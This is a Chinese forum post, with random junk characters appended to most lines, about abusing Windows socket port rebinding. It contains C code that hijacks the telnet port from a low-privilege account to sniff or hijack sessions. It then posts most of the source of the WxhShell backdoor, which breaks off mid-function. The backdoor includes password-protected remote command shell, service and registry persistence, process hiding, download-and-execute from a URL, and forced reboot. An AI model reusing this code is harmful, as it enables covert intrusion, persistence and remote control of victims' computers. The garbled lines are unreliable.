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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IiB"F<&[j{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Av,E|C  
UlH;0P?  
  saddr.sin_family = AF_INET; eGk`Z>  
tish%Qnpd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |P`:NAf2  
dZ{yNh.]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,+o*>fD  
TW!>~|U)y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 woyeKOr  
Hmv@7$9s\  
  这意味着什么?意味着可以进行如下的攻击: ~]C m  
qV7nF }V{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X~> 2iL  
I7} o>{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %bZ}vJ5b  
m)"wd$O^w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Pj7n_&*/  
RJ~I?{yR0[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]x^v;r~  
6+ C7vG`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 , Vr'F  
 HV\l86}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <p\iB'y  
09w<@#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pHv~^L%=  
sFa5#w*>  
  #include '/~j!H4q9  
  #include B,avI&7M;S  
  #include Jwe9L^gL  
  #include    KV]8o'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /><+[\q4LM  
  int main() {n-6e[  
  { MNV OloA  
  WORD wVersionRequested; m+'vrxTY  
  DWORD ret; 6U[bAp  
  WSADATA wsaData; @`H47@e  
  BOOL val; m j@{hGP  
  SOCKADDR_IN saddr; } 0x'm  
  SOCKADDR_IN scaddr; !R"iV^?V  
  int err; (^ ;Fyf/  
  SOCKET s; cUK9EOPe  
  SOCKET sc;  "?(N  
  int caddsize; e sDd>W  
  HANDLE mt; 8"KaW2/%  
  DWORD tid;   ).uR@j  
  wVersionRequested = MAKEWORD( 2, 2 ); Z hYOz  
  err = WSAStartup( wVersionRequested, &wsaData ); yVl?gGgh  
  if ( err != 0 ) { _|} GhdYE  
  printf("error!WSAStartup failed!\n"); J)"g`)\2+  
  return -1; 7^*[ XH  
  } x/^,{RrPk  
  saddr.sin_family = AF_INET; Kfk/pYMDq  
   %\QK/`krp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /G& %T  
J={R@}u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /.<2I  
  saddr.sin_port = htons(23); ,/6 aA7(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UCL aCt -  
  { _7Rp.)[&  
  printf("error!socket failed!\n"); '/ v@q]!  
  return -1; @WfX{485  
  } 1GI/gc\  
  val = TRUE;  k.("<)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *9I/h~I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <{k r5<  
  { &(t/4)IZox  
  printf("error!setsockopt failed!\n"); 4Y:[YlfD.  
  return -1; D0HLU ~o  
  } P8=!/L2?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l4smAT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ExJexjOWI^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~.L\f%<  
WC *e#QP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '980.  
  { W*/0[|n*  
  ret=GetLastError(); J8:f9a:|M  
  printf("error!bind failed!\n"); wR*>9LjeG  
  return -1; 6im!v<1Qx  
  } ~T'Ri=  
  listen(s,2); bL"!z"NA  
  while(1) C)8>_PY[M  
  { [6{o13mCWE  
  caddsize = sizeof(scaddr); %YbcI|i]<0  
  //接受连接请求 RJO40&Z<Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v cZg3:j  
  if(sc!=INVALID_SOCKET) :UDT! 5FNO  
  { 2!E@Gbhm5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E"[h20`\/  
  if(mt==NULL) f%JC;Y  
  { <C6*-j1oz  
  printf("Thread Creat Failed!\n"); w] =q>p  
  break; s+l3]Hd  
  } %9lx)w  
  } SFQYrY  
  CloseHandle(mt); ]F81N(@:F  
  } ~L7@,d:  
  closesocket(s); E3==gYCe*  
  WSACleanup(); ~qj09  
  return 0; @.SuHd  
  }   oo{3-+ ?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ne (zGJd  
  { hEv}g  
  SOCKET ss = (SOCKET)lpParam; D<:J6W7]  
  SOCKET sc; AQ` `Dp  
  unsigned char buf[4096]; jDwLzvM O  
  SOCKADDR_IN saddr; 3HI- G.]hC  
  long num; 02F[4c~  
  DWORD val; UoSzxL  
  DWORD ret; c>3AR17+5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F#^<t$5t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1YxG<K]  
  saddr.sin_family = AF_INET; {} gr\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fu]mxGPc  
  saddr.sin_port = htons(23); 1*o=I-nOa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l=.h]]`;  
  { j|/4V  
  printf("error!socket failed!\n"); a/v!W@Zz}  
  return -1; XwNJHOaF  
  } 5B76D12  
  val = 100; C~:@ETcbil  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JX!@j3  
  { &3t[p=  
  ret = GetLastError(); 3j2#'Jf|:  
  return -1; Nt5`F@;B  
  } WXzSf.8p|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dW`!/OaQD  
  { GL<u#[  
  ret = GetLastError(); -fILXu  
  return -1; iF#|Z$g-(  
  } ]/klKqz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q*E<~!jL  
  { xq<3*Bcw  
  printf("error!socket connect failed!\n"); d$}z,~sN  
  closesocket(sc); *eLKD_D`!C  
  closesocket(ss); X@ j.$0 eK  
  return -1; k6b0&il  
  } @V>BG8Y  
  while(1) ?0%3~E`l:  
  { 1O{(9nNj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8uZM%7kI6+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2uln)]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4,)EG1  
  num = recv(ss,buf,4096,0); O7of9F~"  
  if(num>0) {#o0vWS>  
  send(sc,buf,num,0); p6Ie?Gg  
  else if(num==0) do$+ Eh  
  break; v+b#8  
  num = recv(sc,buf,4096,0); XHER[8l  
  if(num>0) R5KOai!  
  send(ss,buf,num,0); "xK#%eJjWd  
  else if(num==0) 6";ew:Ih^  
  break; "7X[@xX@  
  } {k"t`uo_  
  closesocket(ss); ah9P C7[  
  closesocket(sc); (O@fgBM  
  return 0 ; uZ/XI {/  
  } g;n6hXq4  
kQt#^pO)  
><Awk~KR  
========================================================== 3<%ci&B  
dvX[,*wz  
下边附上一个代码,,WXhSHELL I)YUGA5  
j'QPJ(`~1l  
========================================================== K}j["p<!  
aB*'DDlx"r  
#include "stdafx.h" %p t^?  
w28&qNha  
#include <stdio.h> mY 1Gm|  
#include <string.h> ]o<&Q52|  
#include <windows.h> |T)  $E  
#include <winsock2.h> {IgL H`@  
#include <winsvc.h> MX )mm^A  
#include <urlmon.h> ;b6h/*;'  
ALY3en9,  
#pragma comment (lib, "Ws2_32.lib") 92 oUQ EK  
#pragma comment (lib, "urlmon.lib") mNk@WY_F  
# X`t~Y'  
#define MAX_USER   100 // 最大客户端连接数 $3'xb/3|  
#define BUF_SOCK   200 // sock buffer W_bp~Wu  
#define KEY_BUFF   255 // 输入 buffer GnFm*L  
pg9 feIW1  
#define REBOOT     0   // 重启 ~cL)0/j}  
#define SHUTDOWN   1   // 关机 49iqrP'  
E3"j7y[S  
#define DEF_PORT   5000 // 监听端口 ][TA7pDPV  
+ \jn$>E  
#define REG_LEN     16   // 注册表键长度 vXLGdv::  
#define SVC_LEN     80   // NT服务名长度 Mc@_[q!xY?  
6F8TiR&  
// 从dll定义API vi; yT.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pt_]&3\e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3o^~6A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~LF1$Cai  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rf=oH }  
N eC]MW  
// wxhshell配置信息 9@^N* E+  
struct WSCFG { ;BmPP,  
  int ws_port;         // 监听端口 \`oP\|Z  
  char ws_passstr[REG_LEN]; // 口令 s/\<;g:u^  
  int ws_autoins;       // 安装标记, 1=yes 0=no me+u"G9I;  
  char ws_regname[REG_LEN]; // 注册表键名 8mM`v  
  char ws_svcname[REG_LEN]; // 服务名 &WJ;s*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "~:P-]`G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uGU-MC *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >v'@p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j^)=<+Q;=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *bl|[(pP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6c[Slq!KA  
ZU68\cL  
}; 8O| w(z  
=v(&qh9Q2  
// default Wxhshell configuration 9l<}`/@}W  
struct WSCFG wscfg={DEF_PORT, k!0vpps  
    "xuhuanlingzhe", E|"QYsi.Ck  
    1, 9 Eqv^0u  
    "Wxhshell", <El!,UBq<  
    "Wxhshell", qE*hUzA  
            "WxhShell Service", U7xKu75G1  
    "Wrsky Windows CmdShell Service", fi  
    "Please Input Your Password: ", J;S Z"I'  
  1, t3<HE_B|  
  "http://www.wrsky.com/wxhshell.exe", P%y9fU2[  
  "Wxhshell.exe" )u=46EU_  
    }; U&o ~U] rm  
hH]oJ}H \  
// 消息定义模块 t;b1<TLn0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5;CqGzgoP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >>T,M@s-:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nU23D@l  
char *msg_ws_ext="\n\rExit."; B,4 3b O  
char *msg_ws_end="\n\rQuit."; ,E &W{b  
char *msg_ws_boot="\n\rReboot..."; PnJA'@x  
char *msg_ws_poff="\n\rShutdown..."; !N74y%=M  
char *msg_ws_down="\n\rSave to "; #SR )tU  
l<UA0*t  
char *msg_ws_err="\n\rErr!"; 4bq+(CI6  
char *msg_ws_ok="\n\rOK!"; \F9HsR6  
6 g)X&pZ  
char ExeFile[MAX_PATH]; <Q@{6  
int nUser = 0; ?8ady% .ls  
HANDLE handles[MAX_USER]; rI'kZ0&  
int OsIsNt; gJg%3K~,  
iUq{c+h  
SERVICE_STATUS       serviceStatus; { 4B7a6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ')Qb,#/,%  
7,3 g{8  
// 函数声明 A",Xn/d  
int Install(void); JpZ3T~Wrf  
int Uninstall(void); GXwQ )P5]  
int DownloadFile(char *sURL, SOCKET wsh); 98Im/v  
int Boot(int flag); SD.c 9  
void HideProc(void); K_}81|=  
int GetOsVer(void); ^:2>I$  
int Wxhshell(SOCKET wsl); b4CXif  
void TalkWithClient(void *cs); /rnP/X)T  
int CmdShell(SOCKET sock); R_duPaWc@  
int StartFromService(void); fO}Y$y\q  
int StartWxhshell(LPSTR lpCmdLine); P,bis7X.  
1i 7p'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IF kU8EK&B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _/5xtupxE  
keS%w]87  
// 数据结构和表定义 DG/<#SCF  
SERVICE_TABLE_ENTRY DispatchTable[] = &t@|/~%[  
{ t<yOTVah  
{wscfg.ws_svcname, NTServiceMain}, 6Z!OD(/e  
{NULL, NULL} rp!>rM] s  
}; V&R_A~<T  
fvM|Jb  
// 自我安装 4~e6z(  
int Install(void) gx=2]~O1(  
{ NBO&VYs|  
  char svExeFile[MAX_PATH]; eXCH*vZY  
  HKEY key; bdyIt)tK+  
  strcpy(svExeFile,ExeFile); K~14;  
V3[>^ZCA  
// 如果是win9x系统,修改注册表设为自启动 Jm3iYR+,  
if(!OsIsNt) { y2@8?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ombvp;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h"(HDnq  
  RegCloseKey(key); 9m}c2:p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Os)}kkja  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aZL FsSY  
  RegCloseKey(key); a*?,wmzl  
  return 0; =aRE  
    } 4fau 9bW  
  } |r/4 ({n  
} \q:PU6q  
else { cp 5  
Am)XbN')1  
// 如果是NT以上系统,安装为系统服务 gg QI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); htHnQ4Q  
if (schSCManager!=0) ZJ}|t  
{ oT[8Iu  
  SC_HANDLE schService = CreateService z/t+t_y  
  ( ym6gj#2m  
  schSCManager, QE~#eo  
  wscfg.ws_svcname, /;xmM 2B'  
  wscfg.ws_svcdisp, T^.W'  
  SERVICE_ALL_ACCESS, `YPNVm<3)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =xPBolxm5U  
  SERVICE_AUTO_START, Y 9~z7  
  SERVICE_ERROR_NORMAL, usOIbrQ  
  svExeFile, S<DS|qOo  
  NULL, >TwL&la  
  NULL, P*6&0\af|  
  NULL, Oxr?y8C~  
  NULL, )Tj\ym-Vl  
  NULL J2Eb"y>/;  
  ); Pt8 U0)i)  
  if (schService!=0) Xw<Nnvz6  
  { "~aCW~  
  CloseServiceHandle(schService); ^r0mx{i&  
  CloseServiceHandle(schSCManager); 9 e0Oj3!B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ompkDl\E  
  strcat(svExeFile,wscfg.ws_svcname); 2B&|0&WI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s(M8 Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x)!NB99(tC  
  RegCloseKey(key); s9b 6l,Z  
  return 0; Wo~#R   
    } $K*&Wdo  
  } 2?nhkast#=  
  CloseServiceHandle(schSCManager); ;c;PNihg  
} A+bU{oLr  
} <e7  
[";<YR7iRN  
return 1; J;cTEB  
} V-%Am  
gTwxmp.,  
// 自我卸载 {h *Pkn1  
int Uninstall(void) m\?H < o0  
{ l]v>PIh~N  
  HKEY key; ,1&</R_  
d}RR!i`<N  
if(!OsIsNt) { 4]3(Vyh`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0s8w)%4$  
  RegDeleteValue(key,wscfg.ws_regname); ZdY)&LJ  
  RegCloseKey(key); "R v],O"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -% Z?rn2  
  RegDeleteValue(key,wscfg.ws_regname); 8m;tgMFO  
  RegCloseKey(key); ::A]p@  
  return 0; l:H}Y3_I  
  } Ff @Cs0R  
} and)>$)|  
} L.) 0!1  
else { BV01&.<|  
QL_9a,R'r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ',P E25Z  
if (schSCManager!=0) &?gvW//L2  
{ 7;;HP`vY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {@w!kl~8  
  if (schService!=0) G@Y!*ZH*f  
  { _}(ej&'f  
  if(DeleteService(schService)!=0) { ^E(:nxQ6s  
  CloseServiceHandle(schService);  dr iw\  
  CloseServiceHandle(schSCManager); P85@G 2  
  return 0; BNe6q[ )W~  
  } {*J{1)2  
  CloseServiceHandle(schService); X,"(G}KUA  
  } mIX[HDy:V$  
  CloseServiceHandle(schSCManager); Xv'5%o^i*  
} *eonXJYD  
} Juqe%he`  
yq2pg8%  
return 1; kL1StF#p  
} v8!Ts"  
QBI;aG<+b>  
// 从指定url下载文件 ,aBo p#  
int DownloadFile(char *sURL, SOCKET wsh) >=Pn\" j  
{ :v>Nz7SB  
  HRESULT hr; t}]R0O.s  
char seps[]= "/"; qoXncdDHZ  
char *token; HM(S}>  
char *file; Gn8'h TM  
char myURL[MAX_PATH]; 1||\3L/  
char myFILE[MAX_PATH];  F6\Hqv  
QFtf.")[.  
strcpy(myURL,sURL); <4|/AF*>  
  token=strtok(myURL,seps); oX #WT  
  while(token!=NULL) w( ^  
  { efu'PfZ`&  
    file=token; n$O[yRMI[  
  token=strtok(NULL,seps); hPB^|#}  
  } <//#0r*  
d1rIU6  
GetCurrentDirectory(MAX_PATH,myFILE); 3pF7} P  
strcat(myFILE, "\\"); kZ>Xl- LV  
strcat(myFILE, file); $|V@3`0  
  send(wsh,myFILE,strlen(myFILE),0); ?\.aq p1B  
send(wsh,"...",3,0); qXw^y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ob#d;F  
  if(hr==S_OK) uVn"'p-  
return 0; OmR) W'  
else X5gI'u  
return 1; p2/Pj)2  
TC+L\7   
} ZcLW8L  
WQ1~9#  
// 系统电源模块 muJR~4  
int Boot(int flag) 88l\8k4r  
{ RMvq\J}w!  
  HANDLE hToken; 2`;&Uwt  
  TOKEN_PRIVILEGES tkp; C@3`n;yZ=  
F?B`rw@xr  
  if(OsIsNt) { Qmg2lP.)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^f%hhpV@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sb& $xWL  
    tkp.PrivilegeCount = 1; y9xvGr[l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W#.+C6/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4,]z  
if(flag==REBOOT) { {%b*4x0?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zv8AvNDK  
  return 0; qTuQ]*[-  
} miTySY6 ^  
else {  e#t7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <n-}z[09  
  return 0; 'C2X9/!,  
} s9)U",  
  } OD O'!T-  
  else { O8Dav^\y?  
if(flag==REBOOT) { QK`5KB(k'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  h/*q +H  
  return 0; ,|RN?1?U  
} hRwj-N%C  
else { MoX~ZewWR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -+ha4JOB  
  return 0; =+z+`ot  
} NtfzAz/  
} aVvma=  
Id}/(Pkq  
return 1; (E{}iq@2  
} k:QeZn(  
<9bfX 91  
// win9x进程隐藏模块 pRys 5/&v  
void HideProc(void) u$38"&cmA  
{ a-bj! Rs  
Pb`Uxv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NZoNsNu*C.  
  if ( hKernel != NULL ) 6D&{+;  
  { /f}!G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); je`Ysben  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JJZu%9~[  
    FreeLibrary(hKernel); VchI0KL?  
  } 4Y5lP00!}  
|8q:sr_  
return; ! *eDT4a  
} Oo0SDWI`(  
!7hjA=0  
// 获取操作系统版本 4'wbtE|  
int GetOsVer(void) e=^^TX`I  
{ 2Wn*J[5  
  OSVERSIONINFO winfo; K'_qi8Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \]8 F_K  
  GetVersionEx(&winfo); NHL9qL"qk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hl]q6ZK!6  
  return 1; /wI"oHZd  
  else K2> CR$L  
  return 0; { )-8P  
} !sG# 3sUe[  
(hJ&`Tt  
// 客户端句柄模块 dM=45$\q  
int Wxhshell(SOCKET wsl) J6I:UML  
{ [} zzG@g,J  
  SOCKET wsh; kz\Ss|jl  
  struct sockaddr_in client; \47djmG-  
  DWORD myID; lHUd<kEC  
~NMx:PP  
  while(nUser<MAX_USER) S"4eS,5L|  
{ @xXVJWEU:  
  int nSize=sizeof(client); nZ'-3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?XbM  
  if(wsh==INVALID_SOCKET) return 1; =%ok:+D]  
z ub"Ap3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b} 0G~oLP  
if(handles[nUser]==0) rez )$  
  closesocket(wsh); V1&qgAy~  
else L</k+a?H!  
  nUser++; RY .@_{  
  } .He}f,!f<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rb!y(&>v  
F )Iz:  
  return 0; @C|nc&E2s  
} Obf RwZh?q  
w^"IR  
// 关闭 socket v YJ9G"E  
void CloseIt(SOCKET wsh) ;_=N YG.  
{ PU,%Y_xR  
closesocket(wsh); UCt}\IJ  
nUser--; /go|r '  
ExitThread(0); 6CCm1F{`  
} AP1&TQ,&  
rQxiG[0  
// 客户端请求句柄 "<"m}rE?Q  
void TalkWithClient(void *cs) e }Mf  
{ r7,}"Pl  
e\em;GTy  
  SOCKET wsh=(SOCKET)cs; .* )e24`  
  char pwd[SVC_LEN]; .P <3+  
  char cmd[KEY_BUFF]; byFO^pce  
char chr[1];  l*?_@  
int i,j; Z]e`bfNnI  
+Bf?35LP  
  while (nUser < MAX_USER) { 1<tJ3>Xl  
i!x>)E  
if(wscfg.ws_passstr) { P8(hHuO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wRvh/{xB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =EYWiK77a  
  //ZeroMemory(pwd,KEY_BUFF); z2>LjM) #  
      i=0; [l3ys  
  while(i<SVC_LEN) { gBky ZK  
Gl@{y (  
  // 设置超时 UE{$hLI?g  
  fd_set FdRead; 1ysQvz  
  struct timeval TimeOut; ?-zuy US  
  FD_ZERO(&FdRead); OXm`n/64+  
  FD_SET(wsh,&FdRead); Z}TLk^_[  
  TimeOut.tv_sec=8; g)5mr:\  
  TimeOut.tv_usec=0; \BuyJskE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^)wKS]BQ..  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zak|* _  
a'-u(Bw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -p>~z )  
  pwd=chr[0]; !> =ybRe  
  if(chr[0]==0xd || chr[0]==0xa) { i y8Jl  
  pwd=0; J#48c'  
  break; f~F{@),acZ  
  } vQ L$.A3>  
  i++; 5f{P% x(  
    } hLbWqF  
@)BO`;*$fF  
  // 如果是非法用户,关闭 socket jQ,Vs=*H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FJDE48Vi  
} 5Yhcnwdm!  
PJcfiRa'jQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a%e`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jM&di  
4Wp5[(bg  
while(1) { fz\Q>u'T  
*68 TTBq(  
  ZeroMemory(cmd,KEY_BUFF); #]x3(}3W  
d)e mTXB(  
      // 自动支持客户端 telnet标准   | DV?5>>  
  j=0; a3>/B$pE  
  while(j<KEY_BUFF) { v,S5C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  v&|65[<  
  cmd[j]=chr[0]; !uQT4< g  
  if(chr[0]==0xa || chr[0]==0xd) { t&xoi7!$  
  cmd[j]=0; >Jmla~A  
  break; &yvvea]  
  } HJ]xZ83pC  
  j++; FDQ=$w}' >  
    } Hi A E9  
0k5-S~_\  
  // 下载文件 VD$5 Djq  
  if(strstr(cmd,"http://")) { I@MG ?ZQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uYMn VE"  
  if(DownloadFile(cmd,wsh)) PqV F}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b2OwLt9  
  else "_q~S$i^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >U vP/rp  
  }  yf:Vhr  
  else { {5~h   
H-PVV&r   
    switch(cmd[0]) { M bWby'  
  (N}-]%#  
  // 帮助 |Dn Zk3M,  
  case '?': { Gr\ ]6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "pM >TMAE  
    break; XM`GK>*aC(  
  } v>]g="5}8  
  // 安装 )Ka-vX)D@  
  case 'i': { cXPpxRXBD  
    if(Install()) >qo!#vJc a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^pd7)sBr  
    else M-nRhso  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i1cd9  
    break; 0vqVE]C  
    } J\y^T3Z  
  // 卸载 O>' }q/  
  case 'r': { 1 pVw,}  
    if(Uninstall()) &<N8d(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KnkmGy  
    else ,^([aK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pG#tMec  
    break; _ LHbP=B  
    } ku5|cF*%  
  // 显示 wxhshell 所在路径 <=NnrZOF  
  case 'p': { 4 neZw'm  
    char svExeFile[MAX_PATH]; C}h(WOcr`X  
    strcpy(svExeFile,"\n\r"); 93]63NY  
      strcat(svExeFile,ExeFile); 0`x>p6.)G  
        send(wsh,svExeFile,strlen(svExeFile),0); AkQ(V  
    break; R! M'  
    } @D;K&:~|N  
  // 重启 :qdyC sn2  
  case 'b': { VW*%q0i-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d_25]B(  
    if(Boot(REBOOT)) $`|h F[tv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C ~h#pAh  
    else { Qn$'bK2V  
    closesocket(wsh); \6wltTW]#  
    ExitThread(0); n+8YTjd  
    } 1Vy8eI`4  
    break; LO_Xr j  
    } uVqc:Q"  
  // 关机 KNeVSZT  
  case 'd': { h>`[p,o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H1k)ya x4_  
    if(Boot(SHUTDOWN)) -s 0SQe{!_  
